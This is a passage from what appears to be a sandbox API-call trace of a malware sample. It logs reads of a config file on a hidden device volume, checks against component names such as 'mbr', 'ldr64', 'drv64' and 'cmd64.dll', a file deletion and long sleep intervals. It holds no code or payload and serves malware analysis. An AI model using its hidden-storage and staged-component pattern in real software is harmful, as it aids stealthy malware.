_Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.199] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.199] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfdc70 [0128.199] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.199] KeLeaveCriticalRegion () [0128.199] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.199] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.199] KeEnterCriticalRegion () [0128.199] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.199] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.199] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.199] KeLeaveCriticalRegion () [0128.199] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.200] KeEnterCriticalRegion () [0128.200] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.200] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.200] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.200] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.200] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.200] IdePortDispatch () returned 0x103 [0128.200] KeWaitForMutexObject () returned 0x0 [0128.200] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.200] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.200] KeLeaveCriticalRegion () [0128.200] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.200] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.200] KeEnterCriticalRegion () [0128.200] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.200] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cdf000 [0128.200] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.200] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.200] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.200] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.200] IdePortDispatch () returned 0x103 [0128.201] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.201] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.201] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.201] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.201] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.201] IdePortDispatch () returned 0x103 [0128.201] KeWaitForMutexObject () returned 0x0 [0128.201] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.201] KeLeaveCriticalRegion () [0128.201] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.202] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.202] KeEnterCriticalRegion () [0128.202] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.202] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.202] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.202] KeLeaveCriticalRegion () [0128.202] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.202] KeEnterCriticalRegion () [0128.202] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.202] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.202] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800c4f7450, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.202] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.202] KeLeaveCriticalRegion () [0128.202] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.202] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.202] KeEnterCriticalRegion () [0128.202] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.202] ExFreePoolWithTag (P=0xfffffa8003bfdc70, Tag=0x0) [0128.202] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.202] KeLeaveCriticalRegion () [0128.202] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.202] ReleaseMutex (hMutex=0xf0) returned 1 [0128.202] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.202] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0128.202] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.202] KeEnterCriticalRegion () [0128.202] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.202] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.202] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.202] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.203] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.203] IdePortDispatch () returned 0x103 [0128.203] KeWaitForMutexObject () returned 0x0 [0128.203] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.203] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.203] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.203] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.203] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.203] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfeab0 [0128.203] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.203] KeLeaveCriticalRegion () [0128.203] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.203] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.203] KeEnterCriticalRegion () [0128.203] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.203] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.203] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.203] KeLeaveCriticalRegion () [0128.203] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.203] KeEnterCriticalRegion () [0128.203] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.203] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.203] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.203] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.203] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.203] IdePortDispatch () returned 0x103 [0128.204] KeWaitForMutexObject () returned 0x0 [0128.204] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.204] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.204] KeLeaveCriticalRegion () [0128.204] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.204] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.204] KeEnterCriticalRegion () [0128.204] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.204] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ce0000 [0128.204] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.204] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.204] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.204] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.204] IdePortDispatch () returned 0x103 [0128.204] KeWaitForMutexObject () returned 0x0 [0128.204] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.205] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.205] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.205] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.205] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.205] IdePortDispatch () returned 0x103 [0128.205] KeWaitForMutexObject () returned 0x0 [0128.214] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.214] KeLeaveCriticalRegion () [0128.214] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.215] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.215] KeEnterCriticalRegion () [0128.215] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.215] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.215] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.215] KeLeaveCriticalRegion () [0128.215] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.215] KeEnterCriticalRegion () [0128.215] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.215] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.215] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfe070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.215] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.215] KeLeaveCriticalRegion () [0128.215] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.215] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.216] KeEnterCriticalRegion () [0128.216] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.216] ExFreePoolWithTag (P=0xfffffa8003bfeab0, Tag=0x0) [0128.216] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.216] KeLeaveCriticalRegion () [0128.216] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.216] ReleaseMutex (hMutex=0xf0) returned 1 [0128.216] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0128.216] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0128.216] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0128.216] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.216] KeEnterCriticalRegion () [0128.216] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.216] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.216] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.216] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.216] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.216] IdePortDispatch () returned 0x103 [0128.216] KeWaitForMutexObject () returned 0x0 [0128.216] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.216] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.216] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.216] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.216] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.216] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.217] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.217] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.217] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.217] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.217] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.217] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.217] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.217] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.217] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.217] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.217] KeLeaveCriticalRegion () [0128.217] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.217] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0128.217] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.217] KeEnterCriticalRegion () [0128.217] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.217] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.217] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.217] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.217] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.217] IdePortDispatch () returned 0x103 [0128.217] KeWaitForMutexObject () returned 0x0 [0128.217] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.217] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.217] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.217] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.217] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.217] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.217] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.218] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.218] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.218] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.218] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.218] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.218] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.218] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.218] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.218] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.218] KeLeaveCriticalRegion () [0128.218] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.218] ReleaseMutex (hMutex=0x100) returned 1 [0128.218] Sleep (dwMilliseconds=0x2bf20) [0128.227] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6fa0be50, dwHighDateTime=0x1d24fa4)) [0128.227] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0128.227] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.227] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.227] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.227] KeEnterCriticalRegion () [0128.227] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.227] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.227] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.227] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.227] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.227] IdePortDispatch () returned 0x103 [0128.227] KeWaitForMutexObject () returned 0x0 [0128.227] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.227] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.227] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.228] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.228] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.228] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80038d0c00 [0128.228] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.228] KeLeaveCriticalRegion () [0128.228] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.228] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.228] KeEnterCriticalRegion () [0128.228] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.228] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.228] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.228] KeLeaveCriticalRegion () [0128.228] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.228] KeEnterCriticalRegion () [0128.228] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.228] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.228] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.228] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.228] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.228] IdePortDispatch () returned 0x103 [0128.228] KeWaitForMutexObject () returned 0x0 [0128.228] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.228] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.228] KeLeaveCriticalRegion () [0128.228] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.229] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.229] KeEnterCriticalRegion () [0128.229] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.229] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003452000 [0128.229] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.229] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.229] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.229] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.229] IdePortDispatch () returned 0x103 [0128.229] KeWaitForMutexObject () returned 0x0 [0128.229] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.229] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.229] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.229] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.229] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.229] IdePortDispatch () returned 0x103 [0128.229] KeWaitForMutexObject () returned 0x0 [0128.229] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.229] KeLeaveCriticalRegion () [0128.230] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.230] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.230] KeEnterCriticalRegion () [0128.230] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.230] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 